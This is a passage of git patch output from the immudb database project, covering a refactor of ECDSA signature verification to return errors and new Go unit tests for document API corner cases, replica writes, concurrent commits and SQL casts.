require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) + }) } func TestDocumentDB_WithSerializedJsonDocument(t *testing.T) { diff --git a/pkg/server/sever_current_state_test.go b/pkg/server/sever_current_state_test.go index 085cc69afd..abaea0f377 100644 --- a/pkg/server/sever_current_state_test.go +++ b/pkg/server/sever_current_state_test.go @@ -70,7 +70,6 @@ func TestServerCurrentStateSigned(t *testing.T) { ecdsaPK, err := signer.UnmarshalKey(state.Signature.PublicKey) require.NoError(t, err) - ok, err := signer.Verify(state.ToBytes(), state.Signature.Signature, ecdsaPK) + err = signer.Verify(state.ToBytes(), state.Signature.Signature, ecdsaPK) require.NoError(t, err) - require.True(t, ok) } diff --git a/pkg/signer/ecdsa.go b/pkg/signer/ecdsa.go index 4a75e27d9a..e09994591a 100644 --- a/pkg/signer/ecdsa.go +++ b/pkg/signer/ecdsa.go @@ -25,12 +25,14 @@ import ( "encoding/asn1" "encoding/pem" "errors" + "fmt" "io" "io/ioutil" "math/big" ) var ErrInvalidPublicKey = errors.New("invalid public key") +var ErrKeyCannotBeVerified = errors.New("key cannot be verified") type signer struct { rand io.Reader @@ -88,13 +90,16 @@ func UnmarshalKey(publicKey []byte) (*ecdsa.PublicKey, error) { } // verify verifies a signed payload -func Verify(payload []byte, signature []byte, publicKey *ecdsa.PublicKey) (bool, error) { +func Verify(payload []byte, signature []byte, publicKey *ecdsa.PublicKey) error { hash := sha256.Sum256(payload) es := ecdsaSignature{} if _, err := asn1.Unmarshal(signature, &es); err != nil { - return false, err + return fmt.Errorf("%w: %v", ErrKeyCannotBeVerified, err) } - return ecdsa.Verify(publicKey, hash[:], es.R, es.S), nil + if !ecdsa.Verify(publicKey, hash[:], es.R, es.S) { + return ErrKeyCannotBeVerified + } + return nil } func ParsePublicKeyFile(filePath string) (*ecdsa.PublicKey, error) { diff --git a/pkg/signer/ecdsa_test.go b/pkg/signer/ecdsa_test.go index 1dab1e53f3..258354b1c0 100644 --- a/pkg/signer/ecdsa_test.go +++ b/pkg/signer/ecdsa_test.go @@ -95,8 +95,7 @@ func TestSignature_Verify(t *testing.T) { signature, publicKey, _ := s.Sign(rawMessage[:]) ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) - ok, err := Verify(rawMessage[:], signature, ecdsaPK) - require.True(t, ok) + err = Verify(rawMessage[:], signature, ecdsaPK) require.NoError(t, err) } @@ -108,9 +107,8 @@ func TestSignature_VerifyError(t *testing.T) { _, publicKey, _ := s.Sign(rawMessage[:]) ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) - ok, err := Verify(rawMessage[:], []byte(`wrongsignature`), ecdsaPK) - require.False(t, ok) - require.Error(t, err) + err = Verify(rawMessage[:], []byte(`wrongsignature`), ecdsaPK) + require.ErrorIs(t, err, ErrKeyCannotBeVerified) } func TestSignature_VerifyFalse(t *testing.T) { @@ -122,9 +120,8 @@ func TestSignature_VerifyFalse(t *testing.T) { m, _ := asn1.Marshal(sigToMarshal) ecdsaPK, err := UnmarshalKey(publicKey) require.NoError(t, err) - ok, err := Verify(rawMessage[:], m, ecdsaPK) - require.False(t, ok) - require.NoError(t, err) + err = Verify(rawMessage[:], m, ecdsaPK) + require.ErrorIs(t, err, ErrKeyCannotBeVerified) } func TestUnmarshalKey_Error(t *testing.T) { diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index 3aab82b3b5..2dc3ade5fe 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -32,6 +32,8 @@ import ( "google.golang.org/protobuf/proto" ) +var ErrIllegalArguments = store.ErrIllegalArguments + func VerifyDocument(ctx context.Context, proof *protomodel.ProofDocumentResponse, doc *structpb.Struct, @@ -40,12 +42,12 @@ func VerifyDocument(ctx context.Context, ) (*schema.ImmutableState, error) { if proof == nil || doc == nil { - return nil, store.ErrIllegalArguments + return nil, ErrIllegalArguments } docID, ok := doc.Fields[proof.DocumentIdFieldName] if !ok { - return nil, fmt.Errorf("%w: missing field '%s'", store.ErrIllegalArguments, proof.DocumentIdFieldName) + return nil, fmt.Errorf("%w: missing field '%s'", ErrIllegalArguments, proof.DocumentIdFieldName) } encDocKey, err := encodedKeyForDocument(proof.CollectionId, docID.GetStringValue()) @@ -198,13 +200,10 @@ func VerifyDocument(ctx context.Context, } if serverSigningPubKey != nil { - ok, err := state.CheckSignature(serverSigningPubKey) + err := state.CheckSignature(serverSigningPubKey) if err != nil { return nil, err } - if !ok { - return nil, store.ErrInvalidProof - } } return state, nil diff --git a/pkg/verification/verification_test.go b/pkg/verification/verification_test.go new file mode 100644 index 0000000000..9b44688b43 --- /dev/null +++ b/pkg/verification/verification_test.go @@ -0,0 +1,42 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package verification + +import ( + "context" + "testing" + + "github.com/codenotary/immudb/pkg/api/protomodel" + "github.com/stretchr/testify/require" + "google.golang.org/protobuf/types/known/structpb" +) + +func TestVerifyDocument(t *testing.T) { + _, err := VerifyDocument(context.Background(), nil, nil, nil, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + t.Run("", func(t *testing.T) { + doc := &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": structpb.NewNumberValue(321), + }, + } + + _, err = VerifyDocument(context.Background(), &protomodel.ProofDocumentResponse{}, doc, nil, nil) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + +} From b6ba28f88276144ed330b01d0a09cbff4fef9165 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 16:05:23 -0300 Subject: [PATCH 0661/1062] test(pkg/integration): improve error checking Signed-off-by: Jeronimo Irazabal --- .../signature_verifier_interceptor_test.go | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/pkg/integration/signature_verifier_interceptor_test.go b/pkg/integration/signature_verifier_interceptor_test.go index d935315a34..e15bdfbcb2 100644 --- a/pkg/integration/signature_verifier_interceptor_test.go +++ b/pkg/integration/signature_verifier_interceptor_test.go @@ -30,9 +30,9 @@ import ( ) func TestSignatureVerifierInterceptor(t *testing.T) { - pk, err := signer.ParsePublicKeyFile("./../../test/signer/ec1.pub") require.NoError(t, err) + c := ic.NewClient().WithServerSigningPubKey(pk) // creation and state sign @@ -40,8 +40,10 @@ func TestSignatureVerifierInterceptor(t *testing.T) { TxId: 0, TxHash: []byte(`hash`), } + sig, err := signer.NewSigner("./../../test/signer/ec1.key") require.NoError(t, err) + stSig := server.NewStateSigner(sig) err = stSig.Sign(state) require.NoError(t, err) @@ -51,14 +53,13 @@ func TestSignatureVerifierInterceptor(t *testing.T) { } err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) - require.NoError(t, err) - } func TestSignatureVerifierInterceptorUnableToVerify(t *testing.T) { pk, err := signer.ParsePublicKeyFile("./../../test/signer/ec1.pub") require.NoError(t, err) + c := ic.NewClient().WithServerSigningPubKey(pk) // creation and state sign @@ -70,9 +71,11 @@ func TestSignatureVerifierInterceptorUnableToVerify(t *testing.T) { Signature: []byte(`boom`), }, } + invoker := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, opts ...grpc.CallOption) error { return nil } + err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) require.ErrorContains(t, err, "unable to verify signature") } @@ -80,6 +83,7 @@ func TestSignatureVerifierInterceptorUnableToVerify(t *testing.T) { func TestSignatureVerifierInterceptorSignatureDoesntMatch(t *testing.T) { pk, err := signer.ParsePublicKeyFile("./../../test/signer/ec1.pub") require.NoError(t, err) + c := ic.NewClient().WithServerSigningPubKey(pk) // creation and state sign @@ -89,7 +93,9 @@ func TestSignatureVerifierInterceptorSignatureDoesntMatch(t *testing.T) { } sig, err := signer.NewSigner("./../../test/signer/ec3.key") require.NoError(t, err) + stSig := server.NewStateSigner(sig) + err = stSig.Sign(state) require.NoError(t, err) @@ -98,12 +104,12 @@ func TestSignatureVerifierInterceptorSignatureDoesntMatch(t *testing.T) { } err = c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) - - require.ErrorContains(t, err, "signature doesn't match provided public key") + require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) } func TestSignatureVerifierInterceptorNoPublicKey(t *testing.T) { c := ic.NewClient().WithServerSigningPubKey(nil) + // creation and state sign state := &schema.ImmutableState{ TxId: 0, @@ -115,6 +121,5 @@ func TestSignatureVerifierInterceptorNoPublicKey(t *testing.T) { } err := c.SignatureVerifierInterceptor(context.Background(), "/immudb.schema.ImmuService/CurrentState", &empty.Empty{}, state, nil, invoker, nil) - require.ErrorContains(t, err, "public key not loaded") } From c9ef592bfbc4dc3c9cdd34d9ba3700c467762f2f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 16:48:33 -0300 Subject: [PATCH 0662/1062] test(pkg/database): document api corner cases Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database.go | 10 +- pkg/database/document_database_test.go | 168 ++++++++++++++++++++++++- pkg/database/sql_test.go | 1 - 3 files changed, 169 insertions(+), 10 deletions(-) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 9463f6663b..1d31bf2fc2 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -251,18 +251,18 @@ func (d *db) AuditDocument(ctx context.Context, req *protomodel.AuditDocumentReq if limit > d.maxResultSize { return nil, fmt.Errorf("%w: the specified page size (%d) is larger than the maximum allowed one (%d)", - ErrResultSizeLimitExceeded, limit, d.maxResultSize) + ErrIllegalArguments, limit, d.maxResultSize) } // verify if document id is valid docID, err := document.NewDocumentIDFromHexEncodedString(req.DocumentId) if err != nil { - return nil, fmt.Errorf("invalid document id: %v", err) + return nil, fmt.Errorf("%w: invalid document id", err) } revisions, err := d.documentEngine.AuditDocument(ctx, req.CollectionName, docID, req.Desc, offset, limit) if err != nil { - return nil, fmt.Errorf("error fetching document history: %v", err) + return nil, fmt.Errorf("%w: error fetching document history", err) } return &protomodel.AuditDocumentResponse{ @@ -292,6 +292,10 @@ func (d *db) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsR } func (d *db) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { + if d.isReplica() { + return nil, ErrIsReplica + } + if req == nil { return nil, ErrIllegalArguments } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index c770c10b4b..6c00637eba 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -20,7 +20,9 @@ import ( "encoding/json" "os" "testing" + "time" + "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/protomodel" "github.com/codenotary/immudb/pkg/api/schema" @@ -33,8 +35,12 @@ func makeDocumentDb(t *testing.T) *db { rootPath := t.TempDir() dbName := "doc_test_db" - options := DefaultOption().WithDBRootPath(rootPath).WithCorruptionChecker(false) - options.storeOpts.WithIndexOptions(options.storeOpts.IndexOpts.WithCompactionThld(2)) + options := DefaultOption(). + WithDBRootPath(rootPath). + WithCorruptionChecker(false) + + options.storeOpts.IndexOpts.WithCompactionThld(2) + d, err := NewDB(dbName, nil, options, logger.NewSimpleLogger("immudb ", os.Stderr)) require.NoError(t, err) @@ -50,13 +56,82 @@ func makeDocumentDb(t *testing.T) *db { return db } +func TestDocumentDB_InvalidParameters(t *testing.T) { + db := makeDocumentDb(t) + + _, err := db.CreateCollection(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.GetCollection(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.UpdateCollection(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.DeleteCollection(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.CreateIndex(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.DeleteIndex(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.InsertDocuments(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.ReplaceDocuments(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.AuditDocument(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.CountDocuments(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.DeleteDocuments(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.ProofDocument(context.Background(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) +} + +func TestDocumentDB_WritesOnReplica(t *testing.T) { + db := makeDocumentDb(t) + + db.AsReplica(true, false, 0) + + _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + + _, err = db.UpdateCollection(context.Background(), &protomodel.UpdateCollectionRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + + _, err = db.DeleteCollection(context.Background(), &protomodel.DeleteCollectionRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + + _, err = db.CreateIndex(context.Background(), &protomodel.CreateIndexRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + + _, err = db.DeleteIndex(context.Background(), &protomodel.DeleteIndexRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + + _, err = db.InsertDocuments(context.Background(), &protomodel.InsertDocumentsRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + + _, err = db.ReplaceDocuments(context.Background(), &protomodel.ReplaceDocumentsRequest{}) + require.ErrorIs(t, err, ErrIsReplica) + + _, err = db.DeleteDocuments(context.Background(), &protomodel.DeleteDocumentsRequest{}) + require.ErrorIs(t, err, ErrIsReplica) +} + func TestDocumentDB_WithCollections(t *testing.T) { db := makeDocumentDb(t) - // create collection + defaultCollectionName := "mycollection" t.Run("should pass when creating a collection", func(t *testing.T) { - _, err := db.CreateCollection(context.Background(), &protomodel.CreateCollectionRequest{ Name: defaultCollectionName, Fields: []*protomodel.Field{ @@ -68,7 +143,6 @@ func TestDocumentDB_WithCollections(t *testing.T) { }) require.NoError(t, err) - // get collection cinfo, err := db.GetCollection(context.Background(), &protomodel.GetCollectionRequest{ Name: defaultCollectionName, }) @@ -89,6 +163,20 @@ func TestDocumentDB_WithCollections(t *testing.T) { require.Equal(t, idxType.Type, collection.Fields[i].Type) } + countResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: defaultCollectionName, + }, + }) + require.NoError(t, err) + require.Zero(t, countResp.Count) + + _, err = db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: "1invalidCollectionName", + }, + }) + require.ErrorIs(t, err, ErrIllegalArguments) }) t.Run("should pass when adding an index to the collection", func(t *testing.T) { @@ -160,9 +248,25 @@ func TestDocumentDB_WithCollections(t *testing.T) { require.Equal(t, "foo", collection.Fields[0].Name) }) + t.Run("should pass when deleting documents", func(t *testing.T) { + _, err := db.DeleteDocuments(context.Background(), &protomodel.DeleteDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: defaultCollectionName, + }, + }) + require.NoError(t, err) + + _, err = db.DeleteDocuments(context.Background(), &protomodel.DeleteDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: "1invalidCollectionName", + }, + }) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + t.Run("should pass when deleting collection", func(t *testing.T) { _, err := db.DeleteCollection(context.Background(), &protomodel.DeleteCollectionRequest{ - Name: "mycollection", + Name: defaultCollectionName, }) require.NoError(t, err) @@ -259,6 +363,14 @@ func TestDocumentDB_WithDocuments(t *testing.T) { require.NotNil(t, res) require.Len(t, res.DocumentIds, 1) docID = res.DocumentIds[0] + + countResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: collectionName, + }, + }) + require.NoError(t, err) + require.EqualValues(t, 1, countResp.Count) }) var doc *structpb.Struct @@ -362,6 +474,14 @@ func TestDocumentDB_WithDocuments(t *testing.T) { updatedDoc = revision.Document require.Equal(t, 321.0, updatedDoc.Fields["pincode"].GetNumberValue()) + + countResp, err := db.CountDocuments(context.Background(), &protomodel.CountDocumentsRequest{ + Query: &protomodel.Query{ + CollectionName: collectionName, + }, + }) + require.NoError(t, err) + require.EqualValues(t, 1, countResp.Count) }) t.Run("should pass when auditing document", func(t *testing.T) { @@ -409,6 +529,42 @@ func TestDocumentDB_WithDocuments(t *testing.T) { }) } +func TestDocumentDB_AuditDocuments_CornerCases(t *testing.T) { + db := makeDocumentDb(t) + + _, err := db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ + CollectionName: "mycollection", + DocumentId: "", + Page: 0, + PageSize: 0, + }) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ + CollectionName: "mycollection", + DocumentId: "", + Page: 1, + PageSize: MaxKeyScanLimit + 1, + }) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ + CollectionName: "mycollection", + DocumentId: "", + Page: 1, + PageSize: 1, + }) + require.ErrorIs(t, err, ErrIllegalArguments) + + _, err = db.AuditDocument(context.Background(), &protomodel.AuditDocumentRequest{ + CollectionName: "1invalidCollectionName", + DocumentId: document.NewDocumentIDFromTimestamp(time.Now(), 1).EncodeToHexString(), + Page: 1, + PageSize: 1, + }) + require.ErrorIs(t, err, ErrIllegalArguments) +} + func TestDocumentDB_WithSerializedJsonDocument(t *testing.T) { db := makeDocumentDb(t) diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index 7b8c59157a..79d4d976c0 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -178,7 +178,6 @@ func TestSQLExecAndQuery(t *testing.T) { ProveSinceTx: 0, }) require.ErrorIs(t, err, store.ErrKeyNotFound) - } func TestVerifiableSQLGet(t *testing.T) { From cf6ea8b5431459ee67afcaa5a9da3fc80d2bfeea Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 17:26:55 -0300 Subject: [PATCH 0663/1062] test(pkg/integration): signature validations Signed-off-by: Jeronimo Irazabal --- pkg/integration/stream/stream_test.go | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/pkg/integration/stream/stream_test.go b/pkg/integration/stream/stream_test.go index 001ca3de3b..be63746e32 100644 --- a/pkg/integration/stream/stream_test.go +++ b/pkg/integration/stream/stream_test.go @@ -24,6 +24,7 @@ import ( ic "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/errors" + "github.com/codenotary/immudb/pkg/signer" "fmt" "io" @@ -520,10 +521,10 @@ func TestImmuClient_StreamWithSignatureErrors(t *testing.T) { Size: len([]byte(`val`)), }, }}) - require.ErrorContains(t, err, "signature doesn't match provided public key") + require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) - require.ErrorContains(t, err, "signature doesn't match provided public key") + require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) } func TestImmuClient_StreamWithSignatureErrorsMissingServerKey(t *testing.T) { @@ -576,7 +577,7 @@ func TestImmuClient_StreamWithSignatureErrorsWrongClientKey(t *testing.T) { require.NoError(t, err) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) - require.ErrorContains(t, err, "signature doesn't match") + require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) _, err = client.StreamVerifiedSet(context.Background(), []*stream.KeyValue{{ Key: &stream.ValueSize{ @@ -588,7 +589,7 @@ func TestImmuClient_StreamWithSignatureErrorsWrongClientKey(t *testing.T) { Size: len([]byte(`val`)), }, }}) - require.ErrorContains(t, err, "signature doesn't match") + require.ErrorContains(t, err, signer.ErrKeyCannotBeVerified.Error()) } func TestImmuClient_StreamerServiceErrors(t *testing.T) { From f399649e3843d2d0bf93ec511e3e17e6590036a7 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 17:53:35 -0300 Subject: [PATCH 0664/1062] test(embedded/store): test embedded values Signed-off-by: Jeronimo Irazabal --- embedded/document/engine_test.go | 3 ++ embedded/store/immustore_test.go | 66 ++++++++++++++++++++++++++++++++ 2 files changed, 69 insertions(+) diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index d7f8d86381..cf17d557b3 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -486,6 +486,9 @@ func TestQueryDocuments(t *testing.T) { require.NoError(t, err) defer reader.Close() + _, err = reader.ReadN(ctx, 0) + require.ErrorIs(t, err, ErrIllegalArguments) + docs, err := reader.ReadN(ctx, 10) require.ErrorIs(t, err, ErrNoMoreDocuments) require.Len(t, docs, 9) diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index f09ff4af91..7b6f4521b3 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -190,6 +190,72 @@ func TestImmudbStoreConcurrentCommits(t *testing.T) { wg.Wait() } +func TestImmudbStoreConcurrentCommitsWithEmbeddedValues(t *testing.T) { + opts := DefaultOptions(). + WithSynced(false). + WithMaxConcurrency(5). + WithEmbeddedValues(true). + WithVLogCacheSize(10) + + immuStore, err := Open(t.TempDir(), opts) + require.NoError(t, err) + require.NotNil(t, immuStore) + + defer immustoreClose(t, immuStore) + + txCount := 100 + eCount := 100 + + var wg sync.WaitGroup + wg.Add(10) + + txs := make([]*Tx, 10) + for c := 0; c < 10; c++ { + txs[c] = tempTxHolder(t, immuStore) + } + + for c := 0; c < 10; c++ { + go func(txHolder *Tx) { + defer wg.Done() + + for c := 0; c < txCount; { + tx, err := immuStore.NewWriteOnlyTx(context.Background()) + require.NoError(t, err) + + for j := 0; j < eCount; j++ { + k := make([]byte, 8) + binary.BigEndian.PutUint64(k, uint64(j)) + + v := make([]byte, 8) + binary.BigEndian.PutUint64(v, uint64(c)) + + err = tx.Set(k, nil, v) + require.NoError(t, err) + } + + hdr, err := tx.AsyncCommit(context.Background()) + if err == ErrMaxConcurrencyLimitExceeded { + time.Sleep(1 * time.Millisecond) + continue + } + require.NoError(t, err) + + err = immuStore.ReadTx(hdr.ID, false, txHolder) + require.NoError(t, err) + + for _, e := range txHolder.Entries() { + _, err := immuStore.ReadValue(e) + require.NoError(t, err) + } + + c++ + } + }(txs[c]) + } + + wg.Wait() +} + func TestImmudbStoreOpenWithInvalidPath(t *testing.T) { _, err := Open("immustore_test.go", DefaultOptions()) require.ErrorIs(t, err, ErrPathIsNotADirectory) From 978e081509b738df820acb3498e63361d126d3ba Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 18:01:28 -0300 Subject: [PATCH 0665/1062] test(embedded/sql): test short casting Signed-off-by: Jeronimo Irazabal --- embedded/sql/engine_test.go | 2 +- embedded/sql/stmt.go | 16 ---------------- embedded/store/immustore_test.go | 3 ++- 3 files changed, 3 insertions(+), 18 deletions(-) diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index afe7e8e126..454c840202 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -314,7 +314,7 @@ func TestTimestampCasts(t *testing.T) { _, _, err = engine.Exec( context.Background(), nil, ` - UPDATE values_table SET ts = CAST(i AS TIMESTAMP); + UPDATE values_table SET ts = i::TIMESTAMP; `, nil) require.NoError(t, err) }) diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 2dd309b6f6..9ff5457d70 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1022,28 +1022,12 @@ type UpdateStmt struct { offset ValueExp } -func NewUpdateStmt(table string, where ValueExp, update *colUpdate) *UpdateStmt { - return &UpdateStmt{ - tableRef: newTableRef(table, ""), - where: where, - updates: []*colUpdate{update}, - } -} - type colUpdate struct { col string op CmpOperator val ValueExp } -func NewColUpdate(col string, val ValueExp) *colUpdate { - return &colUpdate{ - col: col, - op: EQ, - val: val, - } -} - func (stmt *UpdateStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error { selectStmt := &SelectStmt{ ds: stmt.tableRef, diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index 7b6f4521b3..92f1efb8b9 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -1014,6 +1014,7 @@ func TestImmudbStoreIndexing(t *testing.T) { valRef, err := snap.Get(k) if err != nil { require.ErrorIs(t, err, tbtree.ErrKeyNotFound) + continue } val, err := valRef.Resolve() @@ -1026,7 +1027,7 @@ func TestImmudbStoreIndexing(t *testing.T) { k := make([]byte, 8) binary.BigEndian.PutUint64(k, uint64(eCount-1)) - valRef1, err := immuStore.Get(k) + _, valRef1, err := immuStore.GetWithPrefix(k, nil) require.NoError(t, err) v1, err := valRef1.Resolve() From 2a6f575814eb60f4722330cc1d626b4093f3f254 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 4 Jul 2023 19:35:38 -0300 Subject: [PATCH 0666/1062] test(embedded/document): cover doc api corner cases Signed-off-by: Jeronimo Irazabal test(embedded/document): cover doc api corner cases Signed-off-by: Jeronimo Irazabal --- embedded/document/engine.go | 2 + embedded/document/engine_test.go | 271 ++++++++++++++++++++++++++++++- 2 files changed, 269 insertions(+), 4 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 965086a282..eaa5032b8b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -874,11 +874,13 @@ func (e *Engine) GetDocuments(ctx context.Context, query *protomodel.Query, offs table, err := getTableForCollection(sqlTx, query.CollectionName) if err != nil { + defer sqlTx.Cancel() return nil, err } queryCondition, err := generateSQLFilteringExpression(query.Expressions, table) if err != nil { + defer sqlTx.Cancel() return nil, err } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index cf17d557b3..1a072afc1a 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -44,6 +44,11 @@ func makeEngine(t *testing.T) *Engine { return engine } +func TestEngineWithInvalidOptions(t *testing.T) { + _, err := store.Open(t.TempDir(), nil) + require.ErrorIs(t, err, ErrIllegalArguments) +} + func TestCreateCollection(t *testing.T) { engine := makeEngine(t) @@ -57,6 +62,7 @@ func TestCreateCollection(t *testing.T) { {Name: "name", Type: protomodel.FieldType_STRING}, {Name: "pin", Type: protomodel.FieldType_INTEGER}, {Name: "country", Type: protomodel.FieldType_STRING}, + {Name: "active", Type: protomodel.FieldType_BOOLEAN}, }, []*protomodel.Index{ {Fields: []string{"number"}}, @@ -64,6 +70,7 @@ func TestCreateCollection(t *testing.T) { {Fields: []string{"pin"}}, {Fields: []string{"country"}}, {Fields: []string{"address.street"}}, + {Fields: []string{"active"}}, }, ) require.ErrorIs(t, err, ErrIllegalArguments) @@ -93,6 +100,49 @@ func TestCreateCollection(t *testing.T) { collectionName := "my-collection" + t.Run("collection creation should fail with invalid field name", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "document", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"document"}}, + }, + ) + require.ErrorIs(t, err, ErrReservedName) + }) + + t.Run("collection creation should fail with reserved field name", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "document", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{"document"}}, + }, + ) + require.ErrorIs(t, err, ErrReservedName) + }) + + t.Run("collection creation should fail with invalid field name", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "_id", Type: protomodel.FieldType_DOUBLE}, + }, + nil, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + t.Run("collection creation should fail with invalid document id field name", func(t *testing.T) { err := engine.CreateCollection( context.Background(), @@ -180,6 +230,47 @@ func TestCreateCollection(t *testing.T) { require.ErrorIs(t, err, ErrFieldDoesNotExist) }) + t.Run("collection creation should fail with invalid index", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{ + {Name: "number", Type: protomodel.FieldType_DOUBLE}, + }, + []*protomodel.Index{ + {Fields: []string{}}, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("collection creation should fail with invalid index", func(t *testing.T) { + err := engine.CreateCollection( + context.Background(), + collectionName, + "", + []*protomodel.Field{}, + []*protomodel.Index{ + {Fields: []string{"_id"}}, + }, + ) + require.ErrorIs(t, err, ErrIllegalArguments) + }) + + t.Run("collection creation should fail with invalid index", func(t *testing.T) { + err := engine.CreateCollection( 